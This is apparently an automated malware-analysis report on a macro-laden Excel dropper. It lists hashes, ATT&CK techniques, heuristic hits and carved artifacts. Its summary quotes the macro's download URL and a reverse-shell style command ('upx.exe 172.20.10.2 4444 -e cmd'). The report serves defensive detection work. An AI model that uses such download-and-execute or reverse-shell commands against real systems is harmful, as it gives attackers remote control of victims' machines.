Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e43f9e757c915cae…

MALICIOUS

Office (OOXML)

19.0 KB Created: 2021-07-13 11:35:08 UTC Authoring application: Microsoft Excel 15.0300
MD5: f0a4fcd5a220d900b6267cb7ea2f0a1c SHA-1: c6a11a99e3fc714bca6c3b3dc693f24d53a35fcb SHA-256: e43f9e757c915caef0a2c6acbca09dcc200938238d11b40c2591ab641099ee92
382 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro within this Excel document is designed to download a file named 'upx.exe' from the URL http://172.20.10.2:8000/upx.exe. It then saves this file to the user's desktop and executes it using 'cmd /c C:\users\ieuser\desktop\upx.exe 172.20.10.2 4444 -e cmd'. This indicates a dropper functionality, aiming to execute a secondary payload.

Heuristics 9

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • ClamAV detection on extracted artifact critical EXTRACTED_FILE_CLAMAV
    ClamAV flagged at least one file extracted from inside this sample. Even when the wrapping document carries no AV detection of its own, a hit on the carved artifact is a strong indicator the sample is a delivery vehicle.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://172.20.10.2:8000/upx.exe

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
178d941d362d8d41565257ee41bf6b52c5a5a57067c7757bb355e6bfbc9c79bc		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1690 bytes
vbaProject_00.bin
199d3ba72c3959c620ceb9c42d775d0dd4cf608bfc99e0895f58dd5b9b6a0d58		 vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely
emf_00.emf
e2d57237cc0afe29d2ce6ff94e8671b4b4cb97dafe1c5c8d4169954cdf6eb2a2		 ooxml-emf OOXML EMF part: xl/media/image1.emf 740 bytes

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